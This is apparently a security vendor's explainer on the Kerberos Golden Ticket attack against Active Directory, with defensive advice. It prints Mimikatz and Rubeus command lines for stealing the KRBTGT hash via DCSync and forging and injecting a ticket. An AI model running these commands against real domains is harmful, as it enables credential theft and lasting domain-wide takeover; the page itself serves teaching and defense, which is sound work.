What is a Golden Ticket?

A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) created with the domain's KRBTGT password hash. Because every Domain Controller trusts anything signed with that key, the attacker can mint a ticket claiming to be any user in any group, including Domain Admins, valid for years and independent of password changes. It is the ultimate Active Directory persistence, and it requires first stealing the KRBTGT hash, usually via DCSync after reaching Domain Admin.

HOW IT WORKS

01 How it is forged and payload

A Golden Ticket needs the KRBTGT hash first, then the forgery:

- Steal the KRBTGT hash via DCSync: `lsadump::dcsync /user:krbtgt` (Mimikatz) or `secretsdump.py -just-dc-user krbtgt ...`
- Forge and inject the ticket: `kerberos::golden /user:Administrator /domain:corp.local /sid:<SID> /krbtgt:<hash> /ptt`
- Or with Rubeus: `Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator /domain:corp.local /sid:<SID>`

From there the attacker acts as a Domain Admin. Documented techniques shown for defenders.

> WHY IT SURVIVES RESETS
>
> *A Golden Ticket is signed with the KRBTGT key, not the victim's password. Only resetting the KRBTGT password twice invalidates forged tickets.*

HOW TO DEFEND

- Protect Tier 0 so attackers cannot reach the KRBTGT hash via DCSync in the first place.
- Rotate the KRBTGT password regularly, and twice after any suspected compromise.
- Restrict replication rights so DCSync is hard to perform.
- Detect anomalies: tickets with unusual lifetimes or accounts that exist only in the ticket are Golden Ticket signs.
- Monitor for DCSync from non-DC sources, the usual precursor.

SOURCES

[1] Microsoft: Kerberos Authentication Overview

[2] MITRE ATT&CK Enterprise Matrix

[3] NIST SP 800-115 Technical Guide to Security Testing

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/what-is-a-golden-ticket

Open online